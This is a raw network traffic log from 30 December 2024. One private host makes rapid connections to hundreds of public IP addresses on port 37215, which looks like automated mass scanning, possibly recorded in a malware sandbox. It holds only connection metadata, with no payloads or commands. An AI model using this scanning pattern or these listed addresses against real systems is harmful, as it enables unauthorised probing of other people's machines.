Dec 30, 2024 11:58:16.039577007 CET	60996	37215	192.168.2.13	41.173.187.248
Dec 30, 2024 11:58:16.039591074 CET	49070	37215	192.168.2.13	41.218.106.229
Dec 30, 2024 11:58:16.039591074 CET	58550	37215	192.168.2.13	197.236.84.30
Dec 30, 2024 11:58:16.039592028 CET	60150	37215	192.168.2.13	156.97.78.132
Dec 30, 2024 11:58:16.039592028 CET	34256	37215	192.168.2.13	156.251.134.233
Dec 30, 2024 11:58:16.039592028 CET	42610	37215	192.168.2.13	156.124.74.71
Dec 30, 2024 11:58:16.039596081 CET	48304	37215	192.168.2.13	41.222.118.20
Dec 30, 2024 11:58:16.039597034 CET	49902	37215	192.168.2.13	156.153.64.61
Dec 30, 2024 11:58:16.039599895 CET	53818	37215	192.168.2.13	156.63.212.134
Dec 30, 2024 11:58:16.039599895 CET	58994	37215	192.168.2.13	156.235.162.94
Dec 30, 2024 11:58:16.039603949 CET	39172	37215	192.168.2.13	156.198.249.66
Dec 30, 2024 11:58:16.039606094 CET	35410	37215	192.168.2.13	41.227.170.47
Dec 30, 2024 11:58:16.039606094 CET	44458	37215	192.168.2.13	41.140.124.59
Dec 30, 2024 11:58:16.039625883 CET	50902	37215	192.168.2.13	41.153.137.228
Dec 30, 2024 11:58:16.039625883 CET	60226	37215	192.168.2.13	197.36.42.38
Dec 30, 2024 11:58:16.039628029 CET	60104	37215	192.168.2.13	197.200.55.247
Dec 30, 2024 11:58:16.039628029 CET	39470	37215	192.168.2.13	41.67.222.98
Dec 30, 2024 11:58:16.039633989 CET	42448	37215	192.168.2.13	197.207.188.130
Dec 30, 2024 11:58:16.039633989 CET	43514	37215	192.168.2.13	197.173.173.246
Dec 30, 2024 11:58:16.039634943 CET	49514	37215	192.168.2.13	41.50.219.153
Dec 30, 2024 11:58:16.039637089 CET	55486	37215	192.168.2.13	41.175.235.107
Dec 30, 2024 11:58:16.039638042 CET	55254	37215	192.168.2.13	197.185.106.187
Dec 30, 2024 11:58:16.039638042 CET	43198	37215	192.168.2.13	197.69.193.230
Dec 30, 2024 11:58:16.039638996 CET	53620	37215	192.168.2.13	156.184.135.184
Dec 30, 2024 11:58:16.039638996 CET	59880	37215	192.168.2.13	41.19.142.244
Dec 30, 2024 11:58:16.039638996 CET	35568	37215	192.168.2.13	156.100.80.106
Dec 30, 2024 11:58:16.039638996 CET	33172	37215	192.168.2.13	41.213.41.74
Dec 30, 2024 11:58:16.039643049 CET	54496	37215	192.168.2.13	197.244.197.40
Dec 30, 2024 11:58:16.039643049 CET	52898	37215	192.168.2.13	41.227.24.2
Dec 30, 2024 11:58:16.039643049 CET	49134	37215	192.168.2.13	197.218.0.81
Dec 30, 2024 11:58:16.039644003 CET	55908	37215	192.168.2.13	197.250.211.196
Dec 30, 2024 11:58:16.045021057 CET	37215	51292	41.180.49.236	192.168.2.13
Dec 30, 2024 11:58:16.045034885 CET	37215	51246	197.196.96.67	192.168.2.13
Dec 30, 2024 11:58:16.045043945 CET	37215	49510	156.57.243.107	192.168.2.13
Dec 30, 2024 11:58:16.045047998 CET	37215	44410	197.15.54.40	192.168.2.13
Dec 30, 2024 11:58:16.045058012 CET	37215	59928	156.200.197.140	192.168.2.13
Dec 30, 2024 11:58:16.045062065 CET	37215	60866	197.19.3.249	192.168.2.13
Dec 30, 2024 11:58:16.045066118 CET	37215	45274	156.238.46.79	192.168.2.13
Dec 30, 2024 11:58:16.045074940 CET	37215	45120	156.136.43.250	192.168.2.13
Dec 30, 2024 11:58:16.045083046 CET	37215	48304	41.222.118.20	192.168.2.13
Dec 30, 2024 11:58:16.045094013 CET	37215	53818	156.63.212.134	192.168.2.13
Dec 30, 2024 11:58:16.045103073 CET	37215	49902	156.153.64.61	192.168.2.13
Dec 30, 2024 11:58:16.045110941 CET	37215	54788	156.13.84.178	192.168.2.13
Dec 30, 2024 11:58:16.045118093 CET	51292	37215	192.168.2.13	41.180.49.236
Dec 30, 2024 11:58:16.045120001 CET	37215	39172	156.198.249.66	192.168.2.13
Dec 30, 2024 11:58:16.045128107 CET	37215	35410	41.227.170.47	192.168.2.13
Dec 30, 2024 11:58:16.045181036 CET	37215	40570	197.1.22.107	192.168.2.13
Dec 30, 2024 11:58:16.045192003 CET	37215	39680	156.134.20.212	192.168.2.13
Dec 30, 2024 11:58:16.045201063 CET	37215	58994	156.235.162.94	192.168.2.13
Dec 30, 2024 11:58:16.045209885 CET	37215	49070	41.218.106.229	192.168.2.13
Dec 30, 2024 11:58:16.045217991 CET	37215	58550	197.236.84.30	192.168.2.13
Dec 30, 2024 11:58:16.045226097 CET	37215	60996	41.173.187.248	192.168.2.13
Dec 30, 2024 11:58:16.045233965 CET	37215	42104	197.16.249.219	192.168.2.13
Dec 30, 2024 11:58:16.045237064 CET	45120	37215	192.168.2.13	156.136.43.250
Dec 30, 2024 11:58:16.045237064 CET	40570	37215	192.168.2.13	197.1.22.107
Dec 30, 2024 11:58:16.045234919 CET	45274	37215	192.168.2.13	156.238.46.79
Dec 30, 2024 11:58:16.045241117 CET	54788	37215	192.168.2.13	156.13.84.178
Dec 30, 2024 11:58:16.045239925 CET	51246	37215	192.168.2.13	197.196.96.67
Dec 30, 2024 11:58:16.045234919 CET	59928	37215	192.168.2.13	156.200.197.140
Dec 30, 2024 11:58:16.045241117 CET	39680	37215	192.168.2.13	156.134.20.212
Dec 30, 2024 11:58:16.045243979 CET	37215	44458	41.140.124.59	192.168.2.13
Dec 30, 2024 11:58:16.045239925 CET	49902	37215	192.168.2.13	156.153.64.61
Dec 30, 2024 11:58:16.045241117 CET	35410	37215	192.168.2.13	41.227.170.47
Dec 30, 2024 11:58:16.045234919 CET	39172	37215	192.168.2.13	156.198.249.66
Dec 30, 2024 11:58:16.045252085 CET	58550	37215	192.168.2.13	197.236.84.30
Dec 30, 2024 11:58:16.045239925 CET	48304	37215	192.168.2.13	41.222.118.20
Dec 30, 2024 11:58:16.045241117 CET	44410	37215	192.168.2.13	197.15.54.40
Dec 30, 2024 11:58:16.045241117 CET	60866	37215	192.168.2.13	197.19.3.249
Dec 30, 2024 11:58:16.045241117 CET	49510	37215	192.168.2.13	156.57.243.107
Dec 30, 2024 11:58:16.045241117 CET	53818	37215	192.168.2.13	156.63.212.134
Dec 30, 2024 11:58:16.045258045 CET	49070	37215	192.168.2.13	41.218.106.229
Dec 30, 2024 11:58:16.045259953 CET	37215	60150	156.97.78.132	192.168.2.13
Dec 30, 2024 11:58:16.045264006 CET	42104	37215	192.168.2.13	197.16.249.219
Dec 30, 2024 11:58:16.045272112 CET	37215	34256	156.251.134.233	192.168.2.13
Dec 30, 2024 11:58:16.045279980 CET	37215	42610	156.124.74.71	192.168.2.13
Dec 30, 2024 11:58:16.045289040 CET	37215	50902	41.153.137.228	192.168.2.13
Dec 30, 2024 11:58:16.045289993 CET	58994	37215	192.168.2.13	156.235.162.94
Dec 30, 2024 11:58:16.045295000 CET	60150	37215	192.168.2.13	156.97.78.132
Dec 30, 2024 11:58:16.045299053 CET	37215	60104	197.200.55.247	192.168.2.13
Dec 30, 2024 11:58:16.045303106 CET	34256	37215	192.168.2.13	156.251.134.233
Dec 30, 2024 11:58:16.045314074 CET	60996	37215	192.168.2.13	41.173.187.248
Dec 30, 2024 11:58:16.045357943 CET	42610	37215	192.168.2.13	156.124.74.71
Dec 30, 2024 11:58:16.045358896 CET	44458	37215	192.168.2.13	41.140.124.59
Dec 30, 2024 11:58:16.045360088 CET	60104	37215	192.168.2.13	197.200.55.247
Dec 30, 2024 11:58:16.045361996 CET	50902	37215	192.168.2.13	41.153.137.228
Dec 30, 2024 11:58:16.045433998 CET	42104	37215	192.168.2.13	197.16.249.219
Dec 30, 2024 11:58:16.045469999 CET	49070	37215	192.168.2.13	41.218.106.229
Dec 30, 2024 11:58:16.045474052 CET	49902	37215	192.168.2.13	156.153.64.61
Dec 30, 2024 11:58:16.045490026 CET	42610	37215	192.168.2.13	156.124.74.71
Dec 30, 2024 11:58:16.045490026 CET	39172	37215	192.168.2.13	156.198.249.66
Dec 30, 2024 11:58:16.045510054 CET	58994	37215	192.168.2.13	156.235.162.94
Dec 30, 2024 11:58:16.045522928 CET	40570	37215	192.168.2.13	197.1.22.107
Dec 30, 2024 11:58:16.045522928 CET	45120	37215	192.168.2.13	156.136.43.250
Dec 30, 2024 11:58:16.045528889 CET	37215	60226	197.36.42.38	192.168.2.13
Dec 30, 2024 11:58:16.045538902 CET	37215	39470	41.67.222.98	192.168.2.13
Dec 30, 2024 11:58:16.045542002 CET	48304	37215	192.168.2.13	41.222.118.20
Dec 30, 2024 11:58:16.045547962 CET	37215	42448	197.207.188.130	192.168.2.13
Dec 30, 2024 11:58:16.045552015 CET	54788	37215	192.168.2.13	156.13.84.178
Dec 30, 2024 11:58:16.045556068 CET	37215	43514	197.173.173.246	192.168.2.13
Dec 30, 2024 11:58:16.045561075 CET	60150	37215	192.168.2.13	156.97.78.132
Dec 30, 2024 11:58:16.045562029 CET	60226	37215	192.168.2.13	197.36.42.38
Dec 30, 2024 11:58:16.045566082 CET	37215	55254	197.185.106.187	192.168.2.13
Dec 30, 2024 11:58:16.045573950 CET	39470	37215	192.168.2.13	41.67.222.98
Dec 30, 2024 11:58:16.045574903 CET	37215	49514	41.50.219.153	192.168.2.13
Dec 30, 2024 11:58:16.045577049 CET	42448	37215	192.168.2.13	197.207.188.130
Dec 30, 2024 11:58:16.045577049 CET	35410	37215	192.168.2.13	41.227.170.47
Dec 30, 2024 11:58:16.045583010 CET	37215	55908	197.250.211.196	192.168.2.13
Dec 30, 2024 11:58:16.045588970 CET	43514	37215	192.168.2.13	197.173.173.246
Dec 30, 2024 11:58:16.045592070 CET	37215	55486	41.175.235.107	192.168.2.13
Dec 30, 2024 11:58:16.045598984 CET	55254	37215	192.168.2.13	197.185.106.187
Dec 30, 2024 11:58:16.045600891 CET	37215	54496	197.244.197.40	192.168.2.13
Dec 30, 2024 11:58:16.045607090 CET	49514	37215	192.168.2.13	41.50.219.153
Dec 30, 2024 11:58:16.045608997 CET	37215	43198	197.69.193.230	192.168.2.13
Dec 30, 2024 11:58:16.045612097 CET	55908	37215	192.168.2.13	197.250.211.196
Dec 30, 2024 11:58:16.045618057 CET	37215	53620	156.184.135.184	192.168.2.13
Dec 30, 2024 11:58:16.045625925 CET	55486	37215	192.168.2.13	41.175.235.107
Dec 30, 2024 11:58:16.045628071 CET	37215	52898	41.227.24.2	192.168.2.13
Dec 30, 2024 11:58:16.045630932 CET	54496	37215	192.168.2.13	197.244.197.40
Dec 30, 2024 11:58:16.045636892 CET	37215	59880	41.19.142.244	192.168.2.13
Dec 30, 2024 11:58:16.045636892 CET	43198	37215	192.168.2.13	197.69.193.230
Dec 30, 2024 11:58:16.045645952 CET	37215	49134	197.218.0.81	192.168.2.13
Dec 30, 2024 11:58:16.045648098 CET	53620	37215	192.168.2.13	156.184.135.184
Dec 30, 2024 11:58:16.045650959 CET	52898	37215	192.168.2.13	41.227.24.2
Dec 30, 2024 11:58:16.045654058 CET	37215	35568	156.100.80.106	192.168.2.13
Dec 30, 2024 11:58:16.045660973 CET	45274	37215	192.168.2.13	156.238.46.79
Dec 30, 2024 11:58:16.045663118 CET	37215	33172	41.213.41.74	192.168.2.13
Dec 30, 2024 11:58:16.045666933 CET	51292	37215	192.168.2.13	41.180.49.236
Dec 30, 2024 11:58:16.045670033 CET	59880	37215	192.168.2.13	41.19.142.244
Dec 30, 2024 11:58:16.045674086 CET	49134	37215	192.168.2.13	197.218.0.81
Dec 30, 2024 11:58:16.045675993 CET	60866	37215	192.168.2.13	197.19.3.249
Dec 30, 2024 11:58:16.045677900 CET	35568	37215	192.168.2.13	156.100.80.106
Dec 30, 2024 11:58:16.045689106 CET	59928	37215	192.168.2.13	156.200.197.140
Dec 30, 2024 11:58:16.045690060 CET	51246	37215	192.168.2.13	197.196.96.67
Dec 30, 2024 11:58:16.045700073 CET	33172	37215	192.168.2.13	41.213.41.74
Dec 30, 2024 11:58:16.045700073 CET	44410	37215	192.168.2.13	197.15.54.40
Dec 30, 2024 11:58:16.045702934 CET	58550	37215	192.168.2.13	197.236.84.30
Dec 30, 2024 11:58:16.045720100 CET	49510	37215	192.168.2.13	156.57.243.107
Dec 30, 2024 11:58:16.045763969 CET	14099	37215	192.168.2.13	197.29.96.227
Dec 30, 2024 11:58:16.045770884 CET	14099	37215	192.168.2.13	156.88.158.163
Dec 30, 2024 11:58:16.045772076 CET	14099	37215	192.168.2.13	197.148.69.179
Dec 30, 2024 11:58:16.045772076 CET	14099	37215	192.168.2.13	156.143.248.108
Dec 30, 2024 11:58:16.045774937 CET	14099	37215	192.168.2.13	41.4.23.229
Dec 30, 2024 11:58:16.045778990 CET	14099	37215	192.168.2.13	156.60.121.150
Dec 30, 2024 11:58:16.045795918 CET	14099	37215	192.168.2.13	197.108.136.103
Dec 30, 2024 11:58:16.045798063 CET	14099	37215	192.168.2.13	197.45.91.85
Dec 30, 2024 11:58:16.045823097 CET	14099	37215	192.168.2.13	41.60.223.113
Dec 30, 2024 11:58:16.045823097 CET	14099	37215	192.168.2.13	197.106.42.117
Dec 30, 2024 11:58:16.045825958 CET	14099	37215	192.168.2.13	197.22.80.20
Dec 30, 2024 11:58:16.045831919 CET	14099	37215	192.168.2.13	41.33.72.13
Dec 30, 2024 11:58:16.045840979 CET	14099	37215	192.168.2.13	41.10.171.35
Dec 30, 2024 11:58:16.045855045 CET	14099	37215	192.168.2.13	197.57.69.28
Dec 30, 2024 11:58:16.045855045 CET	14099	37215	192.168.2.13	41.70.25.216
Dec 30, 2024 11:58:16.045866013 CET	14099	37215	192.168.2.13	41.44.99.224
Dec 30, 2024 11:58:16.045869112 CET	14099	37215	192.168.2.13	41.133.244.190
Dec 30, 2024 11:58:16.045869112 CET	14099	37215	192.168.2.13	41.212.72.108
Dec 30, 2024 11:58:16.045901060 CET	14099	37215	192.168.2.13	156.91.18.140
Dec 30, 2024 11:58:16.045912027 CET	14099	37215	192.168.2.13	156.164.108.160
Dec 30, 2024 11:58:16.045916080 CET	14099	37215	192.168.2.13	41.56.66.145
Dec 30, 2024 11:58:16.045916080 CET	14099	37215	192.168.2.13	41.205.1.13
Dec 30, 2024 11:58:16.045916080 CET	14099	37215	192.168.2.13	197.45.202.177
Dec 30, 2024 11:58:16.045921087 CET	14099	37215	192.168.2.13	41.228.179.157
Dec 30, 2024 11:58:16.045926094 CET	14099	37215	192.168.2.13	156.241.122.72
Dec 30, 2024 11:58:16.045928001 CET	14099	37215	192.168.2.13	156.81.232.106
Dec 30, 2024 11:58:16.045928001 CET	14099	37215	192.168.2.13	156.134.162.181
Dec 30, 2024 11:58:16.045928001 CET	14099	37215	192.168.2.13	156.18.172.51
Dec 30, 2024 11:58:16.045928001 CET	14099	37215	192.168.2.13	197.99.6.69
Dec 30, 2024 11:58:16.045938015 CET	14099	37215	192.168.2.13	197.124.200.206
Dec 30, 2024 11:58:16.045943022 CET	14099	37215	192.168.2.13	156.184.107.246
Dec 30, 2024 11:58:16.045945883 CET	14099	37215	192.168.2.13	156.190.127.10
Dec 30, 2024 11:58:16.045959949 CET	14099	37215	192.168.2.13	156.249.9.29
Dec 30, 2024 11:58:16.045964003 CET	14099	37215	192.168.2.13	197.62.239.138
Dec 30, 2024 11:58:16.045974970 CET	14099	37215	192.168.2.13	197.229.47.3
Dec 30, 2024 11:58:16.045977116 CET	14099	37215	192.168.2.13	156.24.209.6
Dec 30, 2024 11:58:16.045990944 CET	14099	37215	192.168.2.13	41.125.31.249
Dec 30, 2024 11:58:16.045991898 CET	14099	37215	192.168.2.13	156.144.221.98
Dec 30, 2024 11:58:16.045998096 CET	14099	37215	192.168.2.13	197.200.23.222
Dec 30, 2024 11:58:16.046006918 CET	14099	37215	192.168.2.13	197.123.26.171
Dec 30, 2024 11:58:16.046019077 CET	14099	37215	192.168.2.13	41.95.188.79
Dec 30, 2024 11:58:16.046035051 CET	14099	37215	192.168.2.13	156.106.130.183
Dec 30, 2024 11:58:16.046036959 CET	14099	37215	192.168.2.13	41.213.245.66
Dec 30, 2024 11:58:16.046042919 CET	14099	37215	192.168.2.13	41.224.59.244
Dec 30, 2024 11:58:16.046052933 CET	14099	37215	192.168.2.13	41.223.194.21
Dec 30, 2024 11:58:16.046073914 CET	14099	37215	192.168.2.13	41.128.182.19
Dec 30, 2024 11:58:16.046073914 CET	14099	37215	192.168.2.13	197.213.24.107
Dec 30, 2024 11:58:16.046082020 CET	14099	37215	192.168.2.13	197.119.237.137
Dec 30, 2024 11:58:16.046092033 CET	14099	37215	192.168.2.13	41.100.100.227
Dec 30, 2024 11:58:16.046097040 CET	14099	37215	192.168.2.13	41.13.133.254
Dec 30, 2024 11:58:16.046108007 CET	14099	37215	192.168.2.13	156.10.169.214
Dec 30, 2024 11:58:16.046116114 CET	14099	37215	192.168.2.13	41.20.202.147
Dec 30, 2024 11:58:16.046116114 CET	14099	37215	192.168.2.13	41.130.92.45
Dec 30, 2024 11:58:16.046117067 CET	14099	37215	192.168.2.13	197.173.238.58
Dec 30, 2024 11:58:16.046128988 CET	14099	37215	192.168.2.13	197.187.103.90
Dec 30, 2024 11:58:16.046133041 CET	14099	37215	192.168.2.13	156.38.163.226
Dec 30, 2024 11:58:16.046143055 CET	14099	37215	192.168.2.13	197.66.30.190
Dec 30, 2024 11:58:16.046149015 CET	14099	37215	192.168.2.13	156.124.101.10
Dec 30, 2024 11:58:16.046161890 CET	14099	37215	192.168.2.13	156.71.38.168
Dec 30, 2024 11:58:16.046164989 CET	14099	37215	192.168.2.13	197.232.40.9
Dec 30, 2024 11:58:16.046175003 CET	14099	37215	192.168.2.13	197.129.84.37
Dec 30, 2024 11:58:16.046183109 CET	14099	37215	192.168.2.13	156.192.212.255
Dec 30, 2024 11:58:16.046183109 CET	14099	37215	192.168.2.13	197.78.42.138
Dec 30, 2024 11:58:16.046192884 CET	14099	37215	192.168.2.13	197.52.101.32
Dec 30, 2024 11:58:16.046194077 CET	14099	37215	192.168.2.13	41.226.14.223
Dec 30, 2024 11:58:16.046242952 CET	14099	37215	192.168.2.13	197.68.40.239
Dec 30, 2024 11:58:16.046242952 CET	14099	37215	192.168.2.13	41.104.59.99
Dec 30, 2024 11:58:16.046247959 CET	14099	37215	192.168.2.13	197.142.183.130
Dec 30, 2024 11:58:16.046248913 CET	14099	37215	192.168.2.13	41.105.182.166
Dec 30, 2024 11:58:16.046248913 CET	14099	37215	192.168.2.13	197.11.15.54
Dec 30, 2024 11:58:16.046248913 CET	14099	37215	192.168.2.13	41.132.168.205
Dec 30, 2024 11:58:16.046262980 CET	14099	37215	192.168.2.13	156.216.107.30
Dec 30, 2024 11:58:16.046262980 CET	14099	37215	192.168.2.13	41.57.30.177
Dec 30, 2024 11:58:16.046263933 CET	14099	37215	192.168.2.13	156.169.216.213
Dec 30, 2024 11:58:16.046267033 CET	14099	37215	192.168.2.13	41.101.201.133
Dec 30, 2024 11:58:16.046262980 CET	14099	37215	192.168.2.13	41.175.103.53
Dec 30, 2024 11:58:16.046263933 CET	14099	37215	192.168.2.13	156.154.30.200
Dec 30, 2024 11:58:16.046262980 CET	14099	37215	192.168.2.13	197.128.154.182
Dec 30, 2024 11:58:16.046273947 CET	14099	37215	192.168.2.13	197.195.13.200
Dec 30, 2024 11:58:16.046274900 CET	14099	37215	192.168.2.13	156.1.42.7
Dec 30, 2024 11:58:16.046276093 CET	14099	37215	192.168.2.13	197.163.150.251
Dec 30, 2024 11:58:16.046278954 CET	14099	37215	192.168.2.13	156.134.172.179
Dec 30, 2024 11:58:16.046283960 CET	14099	37215	192.168.2.13	197.241.74.222
Dec 30, 2024 11:58:16.046294928 CET	14099	37215	192.168.2.13	156.166.106.38
Dec 30, 2024 11:58:16.046298981 CET	14099	37215	192.168.2.13	197.117.243.16
Dec 30, 2024 11:58:16.046314001 CET	14099	37215	192.168.2.13	41.29.238.36
Dec 30, 2024 11:58:16.046339989 CET	14099	37215	192.168.2.13	41.92.196.239
Dec 30, 2024 11:58:16.046343088 CET	14099	37215	192.168.2.13	41.134.186.236
Dec 30, 2024 11:58:16.046351910 CET	14099	37215	192.168.2.13	156.245.143.31
Dec 30, 2024 11:58:16.046360970 CET	14099	37215	192.168.2.13	197.26.39.38
Dec 30, 2024 11:58:16.046366930 CET	14099	37215	192.168.2.13	41.145.226.45
Dec 30, 2024 11:58:16.046366930 CET	14099	37215	192.168.2.13	41.90.161.28
Dec 30, 2024 11:58:16.046380043 CET	14099	37215	192.168.2.13	156.73.120.80
Dec 30, 2024 11:58:16.046380043 CET	14099	37215	192.168.2.13	41.72.56.44
Dec 30, 2024 11:58:16.046380997 CET	14099	37215	192.168.2.13	156.40.40.154
Dec 30, 2024 11:58:16.046380997 CET	14099	37215	192.168.2.13	156.19.24.174
Dec 30, 2024 11:58:16.046386957 CET	14099	37215	192.168.2.13	41.220.31.164
Dec 30, 2024 11:58:16.046400070 CET	14099	37215	192.168.2.13	156.221.10.191
Dec 30, 2024 11:58:16.046401024 CET	14099	37215	192.168.2.13	41.111.233.171
Dec 30, 2024 11:58:16.046411037 CET	14099	37215	192.168.2.13	41.61.62.207
Dec 30, 2024 11:58:16.046418905 CET	14099	37215	192.168.2.13	41.228.199.168
Dec 30, 2024 11:58:16.046426058 CET	14099	37215	192.168.2.13	197.240.228.45
Dec 30, 2024 11:58:16.046437979 CET	14099	37215	192.168.2.13	197.8.56.147
Dec 30, 2024 11:58:16.046441078 CET	14099	37215	192.168.2.13	41.141.218.9
Dec 30, 2024 11:58:16.046444893 CET	14099	37215	192.168.2.13	41.155.206.211
Dec 30, 2024 11:58:16.046452045 CET	14099	37215	192.168.2.13	41.87.157.151
Dec 30, 2024 11:58:16.046464920 CET	14099	37215	192.168.2.13	156.90.32.215
Dec 30, 2024 11:58:16.046478987 CET	14099	37215	192.168.2.13	156.168.7.212
Dec 30, 2024 11:58:16.046482086 CET	14099	37215	192.168.2.13	197.198.193.232
Dec 30, 2024 11:58:16.046490908 CET	14099	37215	192.168.2.13	41.7.92.121
Dec 30, 2024 11:58:16.046498060 CET	14099	37215	192.168.2.13	41.205.238.159
Dec 30, 2024 11:58:16.046506882 CET	14099	37215	192.168.2.13	156.166.147.149
Dec 30, 2024 11:58:16.046515942 CET	14099	37215	192.168.2.13	156.197.41.137
Dec 30, 2024 11:58:16.046519995 CET	14099	37215	192.168.2.13	156.107.233.168
Dec 30, 2024 11:58:16.046530962 CET	14099	37215	192.168.2.13	41.188.11.166
Dec 30, 2024 11:58:16.046544075 CET	14099	37215	192.168.2.13	156.103.81.46
Dec 30, 2024 11:58:16.046546936 CET	14099	37215	192.168.2.13	197.104.41.8
Dec 30, 2024 11:58:16.046546936 CET	14099	37215	192.168.2.13	197.98.165.205
Dec 30, 2024 11:58:16.046560049 CET	14099	37215	192.168.2.13	41.5.122.215
Dec 30, 2024 11:58:16.046574116 CET	14099	37215	192.168.2.13	41.90.57.98
Dec 30, 2024 11:58:16.046576023 CET	14099	37215	192.168.2.13	156.11.241.171
Dec 30, 2024 11:58:16.046586037 CET	14099	37215	192.168.2.13	41.210.165.195
Dec 30, 2024 11:58:16.046598911 CET	14099	37215	192.168.2.13	156.121.137.95
Dec 30, 2024 11:58:16.046601057 CET	14099	37215	192.168.2.13	41.90.156.238
Dec 30, 2024 11:58:16.046601057 CET	14099	37215	192.168.2.13	41.81.12.140
Dec 30, 2024 11:58:16.046613932 CET	14099	37215	192.168.2.13	41.137.181.149
Dec 30, 2024 11:58:16.046624899 CET	14099	37215	192.168.2.13	41.55.175.41
Dec 30, 2024 11:58:16.046629906 CET	14099	37215	192.168.2.13	41.82.206.174
Dec 30, 2024 11:58:16.046641111 CET	14099	37215	192.168.2.13	41.35.217.225
Dec 30, 2024 11:58:16.046647072 CET	14099	37215	192.168.2.13	156.207.52.222
Dec 30, 2024 11:58:16.046652079 CET	14099	37215	192.168.2.13	41.56.42.169
Dec 30, 2024 11:58:16.046662092 CET	14099	37215	192.168.2.13	197.246.132.115
Dec 30, 2024 11:58:16.046674013 CET	14099	37215	192.168.2.13	41.161.199.152
Dec 30, 2024 11:58:16.046677113 CET	14099	37215	192.168.2.13	156.84.229.30
Dec 30, 2024 11:58:16.046686888 CET	14099	37215	192.168.2.13	156.3.172.58
Dec 30, 2024 11:58:16.046698093 CET	14099	37215	192.168.2.13	197.120.1.122
Dec 30, 2024 11:58:16.046700001 CET	14099	37215	192.168.2.13	156.193.248.48
Dec 30, 2024 11:58:16.046700001 CET	14099	37215	192.168.2.13	197.60.228.249
Dec 30, 2024 11:58:16.046703100 CET	14099	37215	192.168.2.13	156.197.163.135
Dec 30, 2024 11:58:16.046716928 CET	14099	37215	192.168.2.13	41.98.71.86
Dec 30, 2024 11:58:16.046722889 CET	14099	37215	192.168.2.13	197.6.121.144
Dec 30, 2024 11:58:16.046739101 CET	14099	37215	192.168.2.13	41.196.147.163
Dec 30, 2024 11:58:16.046740055 CET	14099	37215	192.168.2.13	41.159.245.155
Dec 30, 2024 11:58:16.046756029 CET	14099	37215	192.168.2.13	41.95.22.60
Dec 30, 2024 11:58:16.046762943 CET	14099	37215	192.168.2.13	197.98.116.63
Dec 30, 2024 11:58:16.046772003 CET	14099	37215	192.168.2.13	41.133.72.252
Dec 30, 2024 11:58:16.046780109 CET	14099	37215	192.168.2.13	41.75.45.163
Dec 30, 2024 11:58:16.046791077 CET	14099	37215	192.168.2.13	197.7.72.186
Dec 30, 2024 11:58:16.046792984 CET	14099	37215	192.168.2.13	197.2.123.213
Dec 30, 2024 11:58:16.046804905 CET	14099	37215	192.168.2.13	197.245.83.231
Dec 30, 2024 11:58:16.046809912 CET	14099	37215	192.168.2.13	156.8.208.80
Dec 30, 2024 11:58:16.046816111 CET	14099	37215	192.168.2.13	156.27.158.106
Dec 30, 2024 11:58:16.046833038 CET	14099	37215	192.168.2.13	156.16.217.134
Dec 30, 2024 11:58:16.046839952 CET	14099	37215	192.168.2.13	41.76.162.115
Dec 30, 2024 11:58:16.046849966 CET	14099	37215	192.168.2.13	156.178.156.8
Dec 30, 2024 11:58:16.046854019 CET	14099	37215	192.168.2.13	41.16.117.60
Dec 30, 2024 11:58:16.046858072 CET	14099	37215	192.168.2.13	197.96.96.58
Dec 30, 2024 11:58:16.046868086 CET	14099	37215	192.168.2.13	41.208.250.179
Dec 30, 2024 11:58:16.046875954 CET	14099	37215	192.168.2.13	156.19.81.167
Dec 30, 2024 11:58:16.046890020 CET	14099	37215	192.168.2.13	197.219.153.5
Dec 30, 2024 11:58:16.047466993 CET	54324	37215	192.168.2.13	41.158.69.235
Dec 30, 2024 11:58:16.048088074 CET	55694	37215	192.168.2.13	41.5.56.42
Dec 30, 2024 11:58:16.048727989 CET	47258	37215	192.168.2.13	197.93.230.143
Dec 30, 2024 11:58:16.049483061 CET	43834	37215	192.168.2.13	197.240.42.136
Dec 30, 2024 11:58:16.050087929 CET	55160	37215	192.168.2.13	197.40.103.55
Dec 30, 2024 11:58:16.050720930 CET	36236	37215	192.168.2.13	197.213.6.201
Dec 30, 2024 11:58:16.050827026 CET	37215	45120	156.136.43.250	192.168.2.13
Dec 30, 2024 11:58:16.050837040 CET	37215	40570	197.1.22.107	192.168.2.13
Dec 30, 2024 11:58:16.050848961 CET	37215	14099	197.29.96.227	192.168.2.13
Dec 30, 2024 11:58:16.050857067 CET	37215	14099	156.88.158.163	192.168.2.13
Dec 30, 2024 11:58:16.050869942 CET	45120	37215	192.168.2.13	156.136.43.250
Dec 30, 2024 11:58:16.050869942 CET	40570	37215	192.168.2.13	197.1.22.107
Dec 30, 2024 11:58:16.050892115 CET	14099	37215	192.168.2.13	197.29.96.227
Dec 30, 2024 11:58:16.050896883 CET	14099	37215	192.168.2.13	156.88.158.163
Dec 30, 2024 11:58:16.051151991 CET	37215	14099	197.148.69.179	192.168.2.13
Dec 30, 2024 11:58:16.051163912 CET	37215	14099	41.4.23.229	192.168.2.13
Dec 30, 2024 11:58:16.051206112 CET	14099	37215	192.168.2.13	197.148.69.179
Dec 30, 2024 11:58:16.051213980 CET	14099	37215	192.168.2.13	41.4.23.229
Dec 30, 2024 11:58:16.051326990 CET	37215	14099	156.143.248.108	192.168.2.13
Dec 30, 2024 11:58:16.051337004 CET	37215	14099	156.60.121.150	192.168.2.13
Dec 30, 2024 11:58:16.051351070 CET	37215	14099	197.108.136.103	192.168.2.13
Dec 30, 2024 11:58:16.051358938 CET	37215	14099	197.45.91.85	192.168.2.13
Dec 30, 2024 11:58:16.051363945 CET	14099	37215	192.168.2.13	156.143.248.108
Dec 30, 2024 11:58:16.051367998 CET	37215	14099	197.22.80.20	192.168.2.13
Dec 30, 2024 11:58:16.051371098 CET	14099	37215	192.168.2.13	156.60.121.150
Dec 30, 2024 11:58:16.051374912 CET	14099	37215	192.168.2.13	197.108.136.103
Dec 30, 2024 11:58:16.051377058 CET	37215	51292	41.180.49.236	192.168.2.13
Dec 30, 2024 11:58:16.051387072 CET	14099	37215	192.168.2.13	197.45.91.85
Dec 30, 2024 11:58:16.051390886 CET	37215	14099	41.60.223.113	192.168.2.13
Dec 30, 2024 11:58:16.051399946 CET	37215	14099	197.106.42.117	192.168.2.13
Dec 30, 2024 11:58:16.051404953 CET	14099	37215	192.168.2.13	197.22.80.20
Dec 30, 2024 11:58:16.051404953 CET	51292	37215	192.168.2.13	41.180.49.236
Dec 30, 2024 11:58:16.051408052 CET	37215	35410	41.227.170.47	192.168.2.13
Dec 30, 2024 11:58:16.051415920 CET	37215	14099	41.33.72.13	192.168.2.13
Dec 30, 2024 11:58:16.051424980 CET	37215	14099	41.10.171.35	192.168.2.13
Dec 30, 2024 11:58:16.051431894 CET	14099	37215	192.168.2.13	41.60.223.113
